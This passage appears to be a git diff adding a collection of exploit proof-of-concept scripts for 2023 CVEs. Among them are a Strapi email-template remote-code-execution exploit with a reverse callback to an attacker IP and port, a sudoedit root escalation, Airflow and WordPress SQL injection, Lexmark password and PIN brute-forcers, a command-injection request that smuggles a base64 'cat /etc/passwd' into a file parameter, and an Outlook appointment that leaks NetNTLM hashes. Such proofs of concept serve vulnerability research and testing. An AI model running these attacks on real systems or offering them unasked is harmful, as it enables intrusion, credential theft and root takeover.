Thank you for registering!
\n\n{full_payload}", + }, + } + } + } + r = requests.put( + url + "/users-permissions/email-templates", + json=data, + headers={"Authorization": "Bearer " + token}, + ) + if "ok" in r.text: + print("[+] Malicious template added to email confirmation page") + else: + print("[-] Error while adding malicious template\nDEBUG: " + r.text) + exit(1) + + +def trigger_rce(): + json_data = { + "email": "".join(random.choices(string.ascii_lowercase, k=10)) + "@poc.local", + "username": "".join(random.choices(string.ascii_lowercase, k=10)), + "password": "".join(random.choices(string.ascii_lowercase, k=10)) + "?#A", + } + r = requests.post(url + "/api/auth/local/register", json=json_data) + print( + "[+] sendTemplatedEmail() should be triggered, check your listener\nDEBUG: " + + r.text + ) + + +if __name__ == "__main__": + parser = argparse.ArgumentParser() + parser.add_argument("-url", help="URL of the Strapi instance", required=True) + parser.add_argument("-u", help="Admin username", required=True) + parser.add_argument("-p", help="Admin password", required=True) + parser.add_argument("-ip", help="Attacker IP") + parser.add_argument("-port", help="Attacker port") + parser.add_argument( + "-url_redirect", help="URL to redirect after email confirmation" + ) + parser.add_argument("-custom", help="Custom shell command to execute") + args = parser.parse_args() + url = args.url + if url[-1] == "/": + url = url[:-1] + token = get_token(args.u, args.p) + if args.url_redirect: + enable_confirmation(token, args.url_redirect) + else: + print( + "[i] No URL redirect provided, email confirmation will may encounter an error, using http://poc.com" + ) + enable_confirmation(token, "http://poc.com") + if args.custom: + add_payload(args.ip, args.port, args.custom) + elif args.ip and args.port: + add_payload(args.ip, args.port) + else: + print( + "[-] No ip and port provided, please provide them with -ip and -port or use -custom to provide a custom payload" + ) + exit(1) + print("[+] Waiting for RCE...") + trigger_rce() \ No newline at end of file diff --git a/CVE-2023-22809.sh b/CVE-2023-22809.sh new file mode 100644 index 0000000..c4394bf --- /dev/null +++ b/CVE-2023-22809.sh @@ -0,0 +1,45 @@ +#!/usr/bin/env bash +# +# Exploit Title: sudo 1.8.0 - 1.9.12p1 - Privilege Escalation +# +# Exploit Author: n3m1.sys +# CVE: CVE-2023-22809 +# Date: 2023/01/21 +# Vendor Homepage: https://www.sudo.ws/ +# Software Link: https://www.sudo.ws/dist/sudo-1.9.12p1.tar.gz +# Version: 1.8.0 to 1.9.12p1 +# Tested on: Ubuntu Server 22.04 - vim 8.2.4919 - sudo 1.9.9 +# +# Running this exploit on a vulnerable system allows a localiattacker to gain +# a root shell on the machine. +# +# The exploit checks if the current user has privileges to run sudoedit or +# sudo -e on a file as root. If so it will open the sudoers file for the +# attacker to add a line to gain privileges on all the files and get a root +# shell. + + +if ! sudo --version | head -1 | grep -qE '(1\.8.*|1\.9\.[0-9]1?(p[1-3])?|1\.9\.12p1)$' +then + echo "> Currently installed sudo version is not vulnerable" + exit 1 +fi + + +EXPLOITABLE=$(sudo -l | grep -E "sudoedit|sudo -e" | grep -E '\(root\)|\(ALL\)|\(ALL : ALL\)' | cut -d ')' -f 2-) + + +if [ -z "$EXPLOITABLE" ]; then + echo "> It doesn't seem that this user can run sudoedit as root" + read -p "Do you want to proceed anyway? (y/N): " confirm && [[ $confirm == [yY] ]] || exit 2 +else + echo "> BINGO! User exploitable" +fi + + +echo "> Opening sudoers file, please add the following line to the file in order to do the privesc:" +echo "$USER ALL=(ALL:ALL) ALL" +read -n 1 -s -r -p "Press any key to continue..." +EDITOR="vim -- /etc/sudoers" $EXPLOITABLE +sudo su root +exit 0 \ No newline at end of file diff --git a/CVE-2023-22884-Airflow-SQLi.py b/CVE-2023-22884-Airflow-SQLi.py new file mode 100644 index 0000000..7eaa105 --- /dev/null +++ b/CVE-2023-22884-Airflow-SQLi.py @@ -0,0 +1,287 @@ +# @jakabakos +# version: 1.1 +# Tested with Airflow 2.5.0 and MySQL provider 3.4.0 +# Apache Airflow REST API reference: https://airflow.apache.org/docs/apache-airflow/stable/stable-rest-api-ref.html + +import argparse +import json +import re +import requests +from packaging import version + +def get_csrf_token(url): + """Get the CSRF token from the login page response""" + # Send a GET request to the login page to retrieve the HTML content + response = requests.get(url + "/login/") + + # Use regular expression to find the CSRF token from the response HTML + pattern = r'' + csrf_token = re.search(pattern, response.text) + + # Extract the initial session cookie from the response + initial_session_cookie = response.cookies.get('session') + + # Check if CSRF token is found in the response and return the session cookie and the token + if csrf_token: + print("[+] CSRF token found.") + return initial_session_cookie, csrf_token.group(1) + else: + # If CSRF token is not found, print an error message and exit the script + print("[-] CSRF token not found. Exiting...") + exit(1) + +def login(url, username, password, cookie, csrf_token): + """Login to the Apache Airflow web application""" + # Prepare the login data with CSRF token, username, and password + data = {"csrf_token": csrf_token, "username": username, "password": password} + + # Send a POST request to the login page with the login data and session cookie + response = requests.post( + url + "/login/", + headers={ + "Content-Type": "application/x-www-form-urlencoded", + "Cookie": f"session={cookie}" + }, + data=data + ) + + # Check if the login was successful or if there was an error + if "Invalid login. Please try again." in response.text: + print("[+] Login was not successful due to invalid credentials.") + exit(1) + elif response.status_code != 200: + print("[-] Something went wrong with the login process.") + elif "Set-Cookie" in response.headers: + # If login was successful, extract the new session cookie from the response headers + session_cookie = response.headers["Set-Cookie"].split(";")[0].split("=")[1] + print(f"[+] Login was successful. Captured session cookie: {session_cookie}") + return session_cookie + +def verify_airflow_version(url, session_cookie): + """Verify the version of Apache Airflow and check for vulnerability""" + # Send a GET request to the Airflow home page to retrieve the HTML content + response = requests.get( + url + "/home", + headers={"Cookie": f"session={session_cookie}"} + ) + + # Use regular expression to find the version string from the response HTML + version_str = re.search(r'v(\d+\.\d+\.\d+)', response.text) + + # Check if the version string is found in the response and extract the version number + if version_str: + print(f"[+] Airflow version found: {version_str.group(1)}") + else: + # If version string is not found, print an error message and exit the script + print("[-] Airflow version not found.") + exit(1) + + # Check if the version is vulnerable (less than or equal to 2.5.0) + if version.parse(version_str.group(1)) <= version.parse("2.5.0"): + print("[+] Version is vulnerable.") + else: + print("[-] Airflow version is not vulnerable. Version is above 2.5.0. Exiting...") + exit(1) + +def verify_mysql_provider(url, session_cookie): + """Verify the version of MySQL provider and check for vulnerability""" + # Send a GET request to get the list of providers from the Airflow API + response = requests.get( + f'{url}/api/v1/providers', + headers={"Cookie": f"session={session_cookie}"} + ) + data = response.json() + providers = data.get("providers", []) + + # Loop through the list of providers and find the MySQL provider + for provider in providers: + if provider.get("package_name") == "apache-airflow-providers-mysql": + # Check if the version of the MySQL provider is vulnerable (less than or equal to 3.4.0) + if version.parse(provider.get("version")) <= version.parse("3.4.0"): + print("[+] MySQL provider version is vulnerable.") + return + else: + print("[-] MySQL provider version is not vulnerable. Exiting...") + exit(1) + + # If MySQL provider is not found in the list of providers, print an error message and exit the script + print("[-] MySQL provider not found. Exiting...") + exit(1) + +def verify_connection_id(url, session_cookie, connection_id): + """Verify the existence of a provided connection ID or create a new connection using provided JSON data""" + # Check if the provided connection ID is a string, indicating an existing connection + if isinstance(connection_id, str): + # Send a GET request to get the list of connections from the Airflow API + response = requests.get( + f'{url}/api/v1/connections', + headers={"Cookie": f"session={session_cookie}"} + ) + connections = response.json().get("connections", []) + + # Loop through the list of connections and check if the provided connection ID exists + found = False + for conn in connections: + if conn.get("connection_id") == connection_id: + # Check if the existing connection is of type "mysql" + if conn.get("conn_type") == "mysql": + found = True + else: + print("[-] The provided connection_id is not a 'mysql' type connection. Exiting...") + exit(1) + if found: + print(f"[+] Connection ID '{connection_id}' exists.") + return + else: + print("[-] Submitted connection id does not exist. Exiting...") + exit(1) + + # If the connection ID does not exist, try to open it as a JSON file that contains the data for the new connection + else: + try: + with open(connection_id, 'r') as f: + conn_data = json.load(f) + if not isinstance(conn_data, dict) or not all(key in conn_data for key in ["connection_id", "conn_type", "host", "login", "port", "password"]): + print("[-] Invalid JSON format for connection data. Exiting...") + exit(1) + # Send a POST request to create a new connection using the provided JSON data + response = requests.post( + url + "/connections", + headers={"Cookie": f"session={session_cookie}"}, + json=conn_data + ) + + # Check if the connection was successfully created or if there was an error + if response.status_code == 200: + print(f"[+] Connection was successfully created with name {conn_data['connection_id']}.") + print("[+] This connection id should be used by the vulnerable DAG.") + else: + print("[-] Failed to create the connection. Exiting...") + exit(1) + except FileNotFoundError: + print("[-] The specified connection data file was not found. Exiting...") + exit(1) + except json.JSONDecodeError: + print("[-] Failed to parse the JSON connection data. Exiting...") + exit(1) + +def verify_dag_id(url, session_cookie, dag_id): + """Verify the existence of a provided DAG ID""" + # Send a GET request to get the list of DAGs from the Airflow API + response = requests.get(f'{url}/api/v1/dags', + headers={"Cookie": f"session={session_cookie}"} + ) + + dags = response.json().get("dags", []) + + # Check if the provided DAG ID exists in the list of DAGs + if any(dag.get("dag_id") == dag_id for dag in dags): + print(f"[+] DAG id '{dag_id}' exists.") + else: + print("[-] DAG id does not exist. Exiting...") + exit(1) + +def trigger_dag(url, session_cookie, dag_id, file_path): + """Trigger a DAG run with a provided configuration""" + endpoint = f"{url}/api/v1/dags/{dag_id}/dagRuns" + headers = { + "Cookie": f"session={session_cookie}", + "accept": "application/json" + } + + try: + # Read the content of the provided file (should be in JSON format) + with open(file_path, 'r') as file: + file_content = file.read() + try: + # Try to parse the JSON content into a Python dictionary + payload = json.loads(file_content) + except json.JSONDecodeError: + # If the provided file content is not valid JSON, exit the script + exit(0) + except FileNotFoundError: + # If the provided file path does not exist, print an error message and return None + print("File not found.") + return None + + # Prepare the payload for the DAG run with the provided configuration + data = {"conf": payload} + + # Send a POST request to trigger the DAG run with the payload configuration + response = requests.post(endpoint, headers=headers, json=data) + + # Check if the DAG run was successfully triggered and if it's in "queued" state + if response.status_code == 200 and response.json().get("state") == "queued": + print("[+] DAG successfully triggered with the provided payload.") + else: + print("[-] Failed to trigger the DAG. Response:") + print(json.dumps(response.json(), indent=4)) + exit(1) + +def main(): + # Example text to show usage examples of the script + example_text = '''Examples: + python3 exploit.py -u admin -p admin --host http://localhost:8080 --mode test -ci mysql -di bulk_load_from_file + python3 exploit.py -u admin -p admin --host http://localhost:8080 --mode attack -ci mysql -di bulk_load_from_file -dc dag_config.json + ''' + parser = argparse.ArgumentParser( + description="CVE-2023-22884 Apache Airflow SQLi exploit script", + epilog=example_text, + formatter_class=argparse.RawDescriptionHelpFormatter + ) + + # Define command-line arguments for the script + parser.add_argument("-u", "--username", help="Airflow username.") + parser.add_argument("-p", "--password", help="Airflow password.") + parser.add_argument("-c", "--cookie", help="Authentication cookie.") + parser.add_argument("--host", required=True, help="Host where the airflow is (format: http(s)://host:port).") + parser.add_argument("-m", "--mode", required=True, choices=["test", "attack"], help="The mode of the script. Can be: 'test' or 'attack' mode") + parser.add_argument("-ci", "--connection-id", help="The connection ID of the MySQL provider. Required in attack mode only. Submit a string if it's existing or a path to a JSON file if should be created.") + parser.add_argument("-di", "--dag-id", help="The ID of the DAG to be exploited. Required in attack mode only.") + parser.add_argument("-dc", "--dag-config-file", help="Path to a file that stores a the DAG config JSON.") + + args = parser.parse_args() + + # Check if either username and password or the authentication cookie is provided + if (args.username and args.password) or args.cookie: + url = args.host.rstrip("/") + # Check if the URL starts with 'http://' or 'https://' and correct it if needed + if not url.startswith("http"): + print("[-] Invalid URL format. Please use 'http' or 'https' as the schema. Exiting...") + exit(1) + + # Get the session cookie if not provided, by performing login using credentials and CSRF token + session_cookie = args.cookie + if not session_cookie: + initial_session_cookie, csrf_token = get_csrf_token(url) + session_cookie = login(url, args.username, args.password, initial_session_cookie, csrf_token) + + if args.mode == "test": + print("[+] Running in test mode.") + # Verify the version of Apache Airflow and check for vulnerability + verify_airflow_version(url, session_cookie) + + # Verify the version of MySQL provider and check for vulnerability + verify_mysql_provider(url, session_cookie) + + # Verify the existence of the provided MySQL connection ID + verify_connection_id(url, session_cookie, args.connection_id) + + # Verify the existence of the provided DAG ID + verify_dag_id(url, session_cookie, args.dag_id) + + print("[+] Exploit successfully finished in test mode. Application is potentially VULNERABLE.") + exit(0) + + elif args.mode == "attack": + print("[+] Running in attack mode.") + # Trigger the DAG run with the provided configuration + trigger_dag(url, session_cookie, args.dag_id, args.dag_config_file) + print("[+] Exploit successfully finished in attack mode.") + else: + # If neither credentials nor authentication cookie is provided, print an error message and exit the script + print("[-] Either username along with password or the authentication cookie is required. Exiting...") + exit(1) + +if __name__ == "__main__": + main() diff --git a/CVE-2023-22906.py b/CVE-2023-22906.py new file mode 100644 index 0000000..f77ba07 --- /dev/null +++ b/CVE-2023-22906.py @@ -0,0 +1,132 @@ +import os +import socket +import multiprocessing +import subprocess +import telnetlib + +ascii_art = r""" + ██████╗██╗ ██╗███████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ ██████╗ █████╗ ██████╗ ██████╗ +██╔════╝██║ ██║██╔════╝ ╚════██╗██╔═████╗╚════██╗╚════██╗ ╚════██╗╚════██╗██╔══██╗██╔═████╗██╔════╝ +██║ ██║ ██║█████╗█████╗ █████╔╝██║██╔██║ █████╔╝ █████╔╝█████╗ █████╔╝ █████╔╝╚██████║██║██╔██║███████╗ +██║ ╚██╗ ██╔╝██╔══╝╚════╝██╔═══╝ ████╔╝██║██╔═══╝ ╚═══██╗╚════╝██╔═══╝ ██╔═══╝ ╚═══██║████╔╝██║██╔═══██╗ +╚██████╗ ╚████╔╝ ███████╗ ███████╗╚██████╔╝███████╗██████╔╝ ███████╗███████╗ █████╔╝╚██████╔╝╚██████╔╝ + ╚═════╝ ╚═══╝ ╚══════╝ ╚══════╝ ╚═════╝ ╚══════╝╚═════╝ ╚══════╝╚══════╝ ╚════╝ ╚═════╝ ╚═════╝ +""" + +def pinger(job_q, results_q): + """ + Do Ping + :param job_q: + :param results_q: + :return: + """ + DEVNULL = open(os.devnull, 'w') + while True: + + ip = job_q.get() + + if ip is None: + break + + try: + subprocess.check_call(['ping', '-c1', ip], + stdout=DEVNULL) + results_q.put(ip) + except: + pass + + +def get_my_ip(): + """ + Find my IP address + :return: + """ + try: + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.connect(("8.8.8.8", 80)) + ip = s.getsockname()[0] + s.close() + return ip + except socket.error: + print("Unable to determine the IP address. Please check your network connection.") + return None + + +def map_network(pool_size=255): + """ + Maps the network + :param pool_size: amount of parallel ping processes + :return: list of valid ip addresses + """ + + ip_list = list() + + # get my IP and compose a base like 192.168.1.xxx + my_ip = get_my_ip() + + if my_ip is None: + return ip_list + + ip_parts = my_ip.split('.') + base_ip = ip_parts[0] + '.' + ip_parts[1] + '.' + ip_parts[2] + '.' + + # prepare the jobs queue + jobs = multiprocessing.Queue() + results = multiprocessing.Queue() + + pool = [multiprocessing.Process(target=pinger, args=(jobs, results)) for i in range(pool_size)] + + for p in pool: + p.start() + + # cue the ping processes + for i in range(1, 255): + jobs.put(base_ip + '{0}'.format(i)) + + for p in pool: + jobs.put(None) + + for p in pool: + p.join() + + # collect the results + while not results.empty(): + ip = results.get() + ip_list.append(ip) + + return ip_list + + +def connect_to_qubo_device(ip): + tn = telnetlib.Telnet(ip) + tn.interact() + + + +if __name__ == '__main__': + print(ascii_art) + print('Mapping the network...') + lst = map_network() + print("Valid IP's on this network:") + print(lst) + + successful_ips = [] + for ip in lst: + try: + with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s: + s.settimeout(2) + result = s.connect_ex((ip, 23)) + if result == 0: + tn = telnetlib.Telnet(ip, timeout=2) + successful_ips.append(ip) + except: + pass + + if successful_ips: + for successful_ip in successful_ips: + print("Found a Qubo device. To connect to the device, type telnet " + successful_ip) + connect_decision = input("Would you like to connect to the Qubo device at {}? (yes/no): ".format(successful_ip)).strip().lower() + if connect_decision == 'yes': + connect_to_qubo_device(successful_ip) + else: + print("Qubo device not found on this network.") diff --git a/CVE-2023-22960.py b/CVE-2023-22960.py new file mode 100644 index 0000000..6116d1d --- /dev/null +++ b/CVE-2023-22960.py @@ -0,0 +1,220 @@ +#!/usr/bin/env python3 +# +# Author: Panagiotis Chartas (t3l3machus) +# Usage: lexmark-brute-force-login.py -t TARGET -P PROTOCOL -u USERNAMES_FILE -p PASSWORDS_FILE [-h] +# +# https://github.com/t3l3machus + +import requests, threading, re, argparse +from random import randint +requests.packages.urllib3.disable_warnings() + +# -------------- Arguments -------------- # +parser = argparse.ArgumentParser() + +parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True) +parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True) +parser.add_argument("-u", "--usernames-file", action="store", help = "File containing a usernames list", required = True) +parser.add_argument("-p", "--passwords-file", action="store", help = "File containing a passwords list.", required = True) + +args = parser.parse_args() + +# Colors +MAIN = '\033[38;5;50m' +FAIL = '\033[1;91m' +END = '\033[0m' +BOLD = '\033[1m' +ORANGE = '\033[0;38;5;214m' +GREEN = '\033[38;5;82m' + +MAIN_BULLET = f'[{MAIN}*{END}]' + +# Threading +max_threads = 80 +thread_limiter = threading.BoundedSemaphore(max_threads) + +# Request +# The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create +login_url = f'{args.protocol}://{args.target}/webglue/session/create' + +headers = { + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Connection': 'keep-alive', + 'Cookie': 'lang=en; autoLogin=false', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin' +} + +# Usernames & Passwords +def get_file_contents(path): + + f = open(path, 'r') + contents = f.readlines() + f.close() + return contents + + +usernames = get_file_contents(args.usernames_file) +passwords = get_file_contents(args.passwords_file) +users_count = len(usernames) +passwds_count = len(passwords) + + +def bruteforce(user): + + thread_limiter.acquire() + + for passwd in passwords: + + passwd = passwd.strip() + authId = randint(-1000000, 1000000) + data = '{"authtype" : 0, "authId" : ' + str(authId) + ', "creds": {"username" : "' + user + '", "password" : "' + passwd + '"}}' + post_req_data = {'data': data, 'lang':'en'} + + try: + response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers) + content = response.content.decode() + + if re.search('sessionId', content): + print(f'{GREEN}{user}{END} : {GREEN}{passwd}{END}\n' + content + '\n') + + # Comment out the else statement for non verbose output + else: + print(f'{ORANGE}{user}{END} : {ORANGE}{passwd}{END} ' + content) + + except: + print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]') + + thread_limiter.release() + + + +def main(): + + print(f'\r{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus){END}') + print(f'{MAIN_BULLET} Initiating credentials brute force attack against: {login_url}{END}') + print(f'{MAIN_BULLET} Number of usernames loaded:{END} {users_count}') + print(f'{MAIN_BULLET} Number of passwords loaded:{END} {passwds_count}') + print(f'{MAIN_BULLET} Estimated number of queued login attempts:{END} {users_count*passwds_count}') + + for user in usernames: + threading.Thread(target = bruteforce, args = (user.strip(),)).start() + + +if __name__ == '__main__': + main() + +''' +#!/usr/bin/env python3 +# +# Author: Panagiotis Chartas (t3l3machus) +# usage: lexmark-brute-force-pins.py -t TARGET -P PROTOCOL -p PINS_FILE [-h] +# +# https://github.com/t3l3machus + +import requests, threading, re, argparse +from random import randint +requests.packages.urllib3.disable_warnings() + +parser = argparse.ArgumentParser() + +parser.add_argument("-t", "--target", action="store", help = "IP or domain name of the target. Use it to specify port as well (e.g. 192.168.0.56:8080)", required = True) +parser.add_argument("-P", "--protocol", action="store", help = "HTTP or HTTPS.", required = True) +parser.add_argument("-p", "--pins-file", action="store", help = "File containing a PINS list.", required = True) + +args = parser.parse_args() + +# Colors +MAIN = '\033[38;5;50m' +SUCCESS = '\033[38;5;82m' +FAIL = '\033[1;91m' +END = '\033[0m' +BOLD = '\033[1m' +ORANGE = '\033[0;38;5;214m' +GREEN = '\033[38;5;82m' + +MAIN_BULLET = f'[{MAIN}*{END}]' + +# Threading +max_threads = 80 +thread_limiter = threading.BoundedSemaphore(max_threads) + +# Request +# The login URL below might not be exactly the same for all printer models. You may need to edit the resource /webglue/session/create +login_url = f'{args.protocol}://{args.target}/webglue/session/create' + +headers = { + 'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0', + 'Accept': 'application/json, text/javascript, */*; q=0.01', + 'Accept-Language': 'en-US,en;q=0.5', + 'Accept-Encoding': 'gzip, deflate, br', + 'Content-Type': 'application/x-www-form-urlencoded; charset=utf-8', + 'X-Requested-With': 'XMLHttpRequest', + 'Connection': 'keep-alive', + 'Cookie': 'lang=en; autoLogin=false', + 'Sec-Fetch-Dest': 'empty', + 'Sec-Fetch-Mode': 'cors', + 'Sec-Fetch-Site': 'same-origin' +} + +# PINS +def get_file_contents(path): + + f = open(path, 'r') + contents = f.readlines() + f.close() + return contents + + +pins = get_file_contents(args.pins_file) +pins_count = len(pins) + + +def bruteforce(pin): + + thread_limiter.acquire() + pin = pin.strip() + authId = randint(-1000000, 1000000) + data = '{"authtype" : 3, "authId" : ' + str(authId) + ', "creds": {"pin" : "' + pin + '"}}' + post_req_data = {'data':data, 'lang':'en'} + + try: + response = requests.post(url = login_url, data = post_req_data, verify = False, allow_redirects = False, headers = headers) + content = response.content.decode() + + if re.search('sessionId', content): + print(f'Match: {GREEN}{pin}{END} ' + content) + + # Comment out the else statement for non verbose output + else: + print(f'{ORANGE}{pin}{END} ' + content) + + except: + print(f'{FAIL}FAIL{END} Something went wrong. [status: {response.status_code}]') + + finally: + thread_limiter.release() + + + +def main(): + + print(f'\n{MAIN_BULLET} PoC for CVE-2023-22960 by t3l3machus (https://github.com/t3l3machus)') + print(f'{MAIN_BULLET} Initiating PIN authentication brute force attack against: {login_url}') + print(f'{MAIN_BULLET} Number of PINs loaded: {pins_count}') + print(f'{MAIN_BULLET} Successful attempts will be logged below (if any):') + + for pin in pins: + threading.Thread(target = bruteforce, args = (pin.strip(),)).start() + + +if __name__ == '__main__': + main() + +''' \ No newline at end of file diff --git a/CVE-2023-23333.py b/CVE-2023-23333.py new file mode 100644 index 0000000..e1486eb --- /dev/null +++ b/CVE-2023-23333.py @@ -0,0 +1,33 @@ +import subprocess + +# Prompt ip address +ip_address = input("Enter the IP address & Port of the device: (Ex: 10.10.10.10:82)\n") + +# Craft command +command = 'curl "http://{}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip" | grep "root:.*:0:0"'.format(ip_address) + +# Execute command +output_bytes = subprocess.check_output(command, shell=True, stderr=subprocess.DEVNULL) + +# Decode +output = output_bytes.decode("utf-8-sig", errors='replace') + +# Check +if 'root' in output: + print("The IP address {} is vulnerable to CVE-2023-23333.".format(ip_address)) + print("Output:") + print(output) + + # Write full report + full_output_command = 'curl "http://{}/downloader.php?file=;echo%20Y2F0IC9ldGMvcGFzc3dkCg%3D%3D|base64%20-d|bash%00.zip"'.format(ip_address) + full_output_bytes = subprocess.check_output(full_output_command, shell=True, stderr=subprocess.DEVNULL) + full_output = full_output_bytes.decode("utf-8-sig", errors='replace') + with open("full-output.txt", "w") as file: + file.write(full_output) + print("The full output has been saved to 'full-output.txt'.") + +else: + print("The IP address {} is not vulnerable to CVE-2023-23333.".format(ip_address)) + + + diff --git a/CVE-2023-23397.py b/CVE-2023-23397.py new file mode 100644 index 0000000..f2df304 --- /dev/null +++ b/CVE-2023-23397.py @@ -0,0 +1,70 @@ +import smtplib, datetime, argparse +from email.mime.multipart import MIMEMultipart +from email.mime.text import MIMEText +from email.mime.application import MIMEApplication +from email.utils import COMMASPACE, formatdate +from independentsoft.msg import Message + +# Mail configuration : change it ! +smtp_server = "mail.example.com" +smtp_port = 587 + +sender_email = "attacker@mail.example.com" +sender_password = "P@ssw0rd" + +recipients_email = ["victim@mail.example.com"] + +class Email: + def __init__(self, smtp_server, port, username, password, recipient): + self.smtp_server = smtp_server + self.port = port + self.username = username + self.password = password + self.recipient = recipient + + def send(self, subject, body, attachment_path): + msg = MIMEMultipart() + msg['From'] = self.username + msg['To'] = COMMASPACE.join(self.recipient) + msg['Date'] = formatdate(localtime=True) + msg['Subject'] = subject + + msg.attach(MIMEText(body)) + + with open(attachment_path, 'rb') as f: + part = MIMEApplication(f.read(), Name=attachment_path) + part['Content-Disposition'] = f'attachment; filename="{attachment_path}"' + msg.attach(part) + + try: + server = smtplib.SMTP(self.smtp_server, self.port) + server.starttls() + server.login(self.username, self.password) + server.sendmail(self.username, self.recipient, msg.as_string()) + server.quit() + print("[+] Malicious appointment sent !") + + + except Exception as e: + print("[-] Error with SMTP server...", e) + +parser = argparse.ArgumentParser(description='CVE-2023-23397 POC : send a malicious appointment to trigger NetNTLM authentication.') +parser.add_argument('-p', '--path', type=str, help='Local path to process', required=True) +args = parser.parse_args() + +appointment = Message() +appointment.message_class = "IPM.Appointment" +appointment.subject = "CVE-2023-23397" +appointment.body = "New meeting now !" +appointment.location = "Paris" +appointment.appointment_start_time = datetime.datetime.now() +appointment.appointment_end_time = datetime.datetime.now() +appointment.reminder_override_default = True +appointment.reminder_sound_file = args.path +appointment.save("appointment.msg") + +email = Email(smtp_server, smtp_port, sender_email, sender_password, recipients_email) + +subject = "Hello There !" +body = "Important appointment !" +email.send(subject, body, "appointment.msg") \ No newline at end of file diff --git a/CVE-2023-23488.py b/CVE-2023-23488.py new file mode 100644 index 0000000..cc17f5a --- /dev/null +++ b/CVE-2023-23488.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- +# https://github.com/r3nt0n +# +# Exploit Title: Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection +# +# Exploit Author: r3nt0n +# CVE: CVE-2023-23488 +# Date: 2023/01/24 +# Vulnerability discovered by Joshua Martinelle +# Vendor Homepage: https://www.paidmembershipspro.com +# Software Link: https://downloads.wordpress.org/plugin/paid-memberships-pro.2.9.7.zip +# Advisory: https://github.com/advisories/GHSA-pppw-hpjp-v2p9 +# Version: < 2.9.8 +# Tested on: Debian 11 - WordPress 6.1.1 - Paid Memberships Pro 2.9.7 +# +# Running this script against a WordPress instance with Paid Membership Pro plugin +# tells you if the target is vulnerable. +# As the SQL injection technique required to exploit it is Time-based blind, instead of +# trying to directly exploit the vuln, it will generate the appropriate sqlmap command +# to dump the whole database (probably very time-consuming) or specific chose data like +# usernames and passwords. +# +# Usage example: python3 CVE-2023-23488.py http://127.0.0.1/wordpress + +import sys +import requests + +def get_request(target_url, delay="1"): + payload = "a' OR (SELECT 1 FROM (SELECT(SLEEP(" + delay + ")))a)-- -" + data = {'rest_route': '/pmpro/v1/order', + 'code': payload} + return requests.get(target_url, params=data).elapsed.total_seconds() + +print('Paid Memberships Pro < 2.9.8 (WordPress Plugin) - Unauthenticated SQL Injection\n') +if len(sys.argv) != 2: + print('Usage: {}haha
\n \ +